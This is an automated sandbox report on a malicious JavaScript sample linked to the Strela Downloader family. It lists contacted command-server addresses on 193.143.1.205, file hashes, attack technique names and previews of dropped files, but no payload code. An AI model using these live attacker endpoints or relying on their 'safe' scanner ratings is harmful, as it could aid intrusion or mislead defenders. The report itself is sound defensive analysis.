Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
27962100941450914990.js	3%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/2	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/z	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/d;	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
15.164.165.52.in-addr.arpa	unknown	unknown	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/z	net.exe, 00000007.00000002.1452783294.0000026649474000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2678636330.0000027E6F00F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1452783294.0000026649438000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1452783294.0000026649474000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/2	net.exe, 00000007.00000002.1452783294.0000026649474000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1458056675.0000027E6F200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/d;	net.exe, 00000007.00000002.1452783294.0000026649438000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588104
Start date and time:	2025-01-10 21:24:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	27962100941450914990.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.23.242.162, 162.159.61.3, 172.64.41.3, 23.209.209.135, 34.237.241.83, 50.16.47.176, 18.213.11.84, 54.224.241.105, 199.232.210.172, 2.16.168.105, 2.16.168.107, 172.202.163.200, 52.22.41.97, 23.217.172.185, 52.165.164.15
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 27962100941450914990.js

Simulations

Behavior and APIs

Time	Type	Description
15:25:02	API Interceptor	26x Sleep call for process: powershell.exe modified
15:25:06	API Interceptor	1x Sleep call for process: net.exe modified
15:25:07	API Interceptor	2x Sleep call for process: svchost.exe modified
15:25:14	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4932196162598211
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaU:cJhXC9lHmutpJyiRDeJ/aUKrDgnm+
MD5:	AE14759C0EF06E641C6BD7E2B2D32796
SHA1:	E3A2AD5851ED4515DAB78AE57112B9AA5A004193
SHA-256:	A6814E0AFC7A0A0AD04143ACD0B5E4399744335543441FA44058E53AA5781CAF
SHA-512:	6659FFDEC30160C7D9B55022961ECD9D4180036C924EDFA9C095D7A7818067DEA05F757BC581AD1CFE40FAB760CA346CA28CFA2E2BE26E66DB5384BC38135B37
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x441452be, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217054642126716
Encrypted:	false
SSDEEP:	1536:6rUSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSP:6rUazaNvFv8V2UW/DLzN/w4wZi
MD5:	9172F476625CE27D9B898B570097AC51
SHA1:	0CF24FB715F14C5B234ADBCCDF747F1577803623
SHA-256:	054DD7BDC2472CC663B36F6D239EE7F4B6B849A854FD83A40F9EF2CD5A15C0D8
SHA-512:	5FE0ADDF5FAF14DD0B2A8C8E4F8A6CCF52BC7EF019A135D99783174C15B67A8FA4366D899EBA633930497286C584D7576F6369146895D4D3C533B6B74D9944B4
Malicious:	false
Preview:	D.R.... ...............X\...;...{......................p.D..........{}......}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................5........}...................`._.....}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08132952465988419
Encrypted:	false
SSDEEP:	3:KJDEYeVwfpsgr/fgsCrZClW/tu8KblXoll+SHY/Xl+/rQLve:KJDEzVwBxfgs3GhKbeAS4M
MD5:	A87D0491124166D4F684DD9E89F91545
SHA1:	87190C4FF229D8425A1CFBDB3F9B43DDEF442FE7
SHA-256:	97E4A95C9A91BF6A20538BA0914E7D78EFAE5382C450667EEDBF4BF07E5A0893
SHA-512:	2385B0D76FF729E20AE4FEF84F3D2505D6780F633BCC9D8C887BCE5BAE9B05F0FA65FD01EC51B661CD575FAF87393F3EB9B0A47147B89C62D258E39DA33AE2DA
Malicious:	false
Preview:	n........................................;...{.......}.......{}..............{}......{}.vv_Q.....{}..................`._.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.093587025227807
Encrypted:	false
SSDEEP:	6:iO4SOii4q2PqLTwi2nKuAl9OmbnIFUtSSOeXJZmwsSOeXDkwOqLTwi2nKuAl9Omt:7OiBv8wZHAahFUtke5/6eT5TwZHAaSJ
MD5:	44125AAD80F97F298A8D1508B62A1CB3
SHA1:	7387436A8DDE939CD8E1AC3518ABA5738A60BAA9
SHA-256:	66DAA474083FF86772042F93074B437DFAB793DE851E08A4ED7EBEDF3C07C498
SHA-512:	997B70DCD5EC318E29F628F9589BF6CBAF3F739281FC3BCB5925BD39F6C4D0C9135C59EF646403BA5C134FA52AE5E5857ED5E69471C3838EB1E757C1872E32E4
Malicious:	false
Preview:	2025/01/10-15:25:07.197 1ed0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:25:07.200 1ed0 Recovering log #3.2025/01/10-15:25:07.200 1ed0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.093587025227807
Encrypted:	false
SSDEEP:	6:iO4SOii4q2PqLTwi2nKuAl9OmbnIFUtSSOeXJZmwsSOeXDkwOqLTwi2nKuAl9Omt:7OiBv8wZHAahFUtke5/6eT5TwZHAaSJ
MD5:	44125AAD80F97F298A8D1508B62A1CB3
SHA1:	7387436A8DDE939CD8E1AC3518ABA5738A60BAA9
SHA-256:	66DAA474083FF86772042F93074B437DFAB793DE851E08A4ED7EBEDF3C07C498
SHA-512:	997B70DCD5EC318E29F628F9589BF6CBAF3F739281FC3BCB5925BD39F6C4D0C9135C59EF646403BA5C134FA52AE5E5857ED5E69471C3838EB1E757C1872E32E4
Malicious:	false
Preview:	2025/01/10-15:25:07.197 1ed0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:25:07.200 1ed0 Recovering log #3.2025/01/10-15:25:07.200 1ed0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1491460011796955
Encrypted:	false
SSDEEP:	6:iO4SOJMM+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSSOwUDvXZmwsSOgqMVkwOqLTwiV:7OJN+v8wZHAa8uFUtkwUDvX/6sV5TwZg
MD5:	2CD08620AA1F5E90129F96DE2E86DAA4
SHA1:	7211E405C856B0E862F32A6093684CF2FE689151
SHA-256:	AE33779B835FEC36C6EAEE1A6415D08CA29FE98676E495D2C923A1C79E253189
SHA-512:	0647432CFA87F71C8C225A8D31FD4EAB2B4BB14C02D9F9F47B677B00E3BDA4F8562E89C1ADA3DA01B2649DC54A32B3BD289615D1CCD40D5741AFF6DE19BED465
Malicious:	false
Preview:	2025/01/10-15:25:07.239 1fac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:25:07.268 1fac Recovering log #3.2025/01/10-15:25:07.270 1fac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1491460011796955
Encrypted:	false
SSDEEP:	6:iO4SOJMM+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSSOwUDvXZmwsSOgqMVkwOqLTwiV:7OJN+v8wZHAa8uFUtkwUDvX/6sV5TwZg
MD5:	2CD08620AA1F5E90129F96DE2E86DAA4
SHA1:	7211E405C856B0E862F32A6093684CF2FE689151
SHA-256:	AE33779B835FEC36C6EAEE1A6415D08CA29FE98676E495D2C923A1C79E253189
SHA-512:	0647432CFA87F71C8C225A8D31FD4EAB2B4BB14C02D9F9F47B677B00E3BDA4F8562E89C1ADA3DA01B2649DC54A32B3BD289615D1CCD40D5741AFF6DE19BED465
Malicious:	false
Preview:	2025/01/10-15:25:07.239 1fac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:25:07.268 1fac Recovering log #3.2025/01/10-15:25:07.270 1fac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\46c105ce-0bf0-4838-8750-0141ecc5a01d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.962684752790978
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqzsBdOg2HKcaq3QYiub5P7E4T3y:Y2sRdsVdMHl3QYhbt7nby
MD5:	5CAC2629F4235BBF3CA7B6C38153E097
SHA1:	6A5E1242F621AD0C34B38222AD76056E3DE920DB
SHA-256:	ABCE21D6B560B656945EA84085151344FD50E9B970DE39688E54B9BDF98B84EE
SHA-512:	59E862E870724E9DE0D904C932C78F9BE9175DD24C27348D74F18C2DBB5EF141AC5D2DF3ABA533CEA0CC1C069099E5F772FC98D0F528BC170EA3B77FB23B24E8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100718363648","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131904},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.962684752790978
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqzsBdOg2HKcaq3QYiub5P7E4T3y:Y2sRdsVdMHl3QYhbt7nby
MD5:	5CAC2629F4235BBF3CA7B6C38153E097
SHA1:	6A5E1242F621AD0C34B38222AD76056E3DE920DB
SHA-256:	ABCE21D6B560B656945EA84085151344FD50E9B970DE39688E54B9BDF98B84EE
SHA-512:	59E862E870724E9DE0D904C932C78F9BE9175DD24C27348D74F18C2DBB5EF141AC5D2DF3ABA533CEA0CC1C069099E5F772FC98D0F528BC170EA3B77FB23B24E8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100718363648","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131904},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.226850135490702
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Oza3x8G8:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzaK
MD5:	A3BFBE740880D41576ADECDA503C83BA
SHA1:	670943BDC3E67542DB7127A8394248147CE7F898
SHA-256:	08C6521E094CC6DA73C050E234EB138577C2E10C4A298921B256AE0EB5B05D6E
SHA-512:	4CB0F1466F599F49E05ADE96644050F831C222639D60F3B7B9AFBDF80D62C91CE7056FFCA76DD2D3AF79B9F1C082A80665074F1F3A2989CCBE4AC08692E89251
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.147646875025174
Encrypted:	false
SSDEEP:	6:iO4SOjMM+q2PqLTwi2nKuAl9OmbzNMxIFUtSSO+avZmwsSO3MVkwOqLTwi2nKuAo:7OjN+v8wZHAa8jFUtk//68V5TwZHAa8E
MD5:	DF3D32F9715D069396EF5B988DC34E84
SHA1:	1DFE6E8F4AE50BE8F40FBE49809A4E7A0FC13A17
SHA-256:	CCCF99A19B84CDEA87376CB342ECDBAE01EBEB32B4B7263C1063E233449C8AB2
SHA-512:	6C5D072250B03E28FF61E98F96DACA0AEAFA18896578414E3ED78A5B2EDE4286C3CB41F74D4729F747D6DED492C41BFC8B4CE3EE12B2A91B8AD047E37F7A0ADB
Malicious:	false
Preview:	2025/01/10-15:25:07.619 1fac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:25:07.622 1fac Recovering log #3.2025/01/10-15:25:07.630 1fac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.147646875025174
Encrypted:	false
SSDEEP:	6:iO4SOjMM+q2PqLTwi2nKuAl9OmbzNMxIFUtSSO+avZmwsSO3MVkwOqLTwi2nKuAo:7OjN+v8wZHAa8jFUtk//68V5TwZHAa8E
MD5:	DF3D32F9715D069396EF5B988DC34E84
SHA1:	1DFE6E8F4AE50BE8F40FBE49809A4E7A0FC13A17
SHA-256:	CCCF99A19B84CDEA87376CB342ECDBAE01EBEB32B4B7263C1063E233449C8AB2
SHA-512:	6C5D072250B03E28FF61E98F96DACA0AEAFA18896578414E3ED78A5B2EDE4286C3CB41F74D4729F747D6DED492C41BFC8B4CE3EE12B2A91B8AD047E37F7A0ADB
Malicious:	false
Preview:	2025/01/10-15:25:07.619 1fac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:25:07.622 1fac Recovering log #3.2025/01/10-15:25:07.630 1fac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438414978831166
Encrypted:	false
SSDEEP:	384:ye+ci5GD0PJ8iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmz5:pD0PJQurVgazUpUTTGt
MD5:	46577D77A7B5C56022E31F0C8FD402CB
SHA1:	971BCE1D103BAE03CE5A1AD0F7D00234A6CD9DDC
SHA-256:	8CC1E103F795940EC1F3F67BE94F675447D9B40A9768E07DAE19AD421F6E3A94
SHA-512:	0F2742916DFC5F3DBB0894AD0B011C224D4E6702AC567BCAC718D29E803BCD23A47255570D360438E27C2D2F58678F6E29F95DA458E36FD3082B6D05D7A657B6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.769595056876256
Encrypted:	false
SSDEEP:	48:7M1JioyVT8ioyApoy1C7oy16oy1CNKOioy1noy1AYoy1Wioy1oioykioyBoy1noD:7yJuT8X2B/XjBiNb9IVXEBodRBkS
MD5:	40560B82A67F404078963A8C3DEFA396
SHA1:	D53F9639F2279480D95837D8C1F4B7B3BFFAE7C9
SHA-256:	B58C4CE8504B80DABE9F30503E21438EF0612F325A2261126C9CACE7B5A970B7
SHA-512:	7D52769C662AB788E542FDCACD486CCCE4FCD145657BA10781706762EC8E22BF9C33A66DF0F298AE81510278C2B59CEFA7AAC0987C501B1ED4AE618C3B649F1B
Malicious:	false
Preview:	.... .c.......\4...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
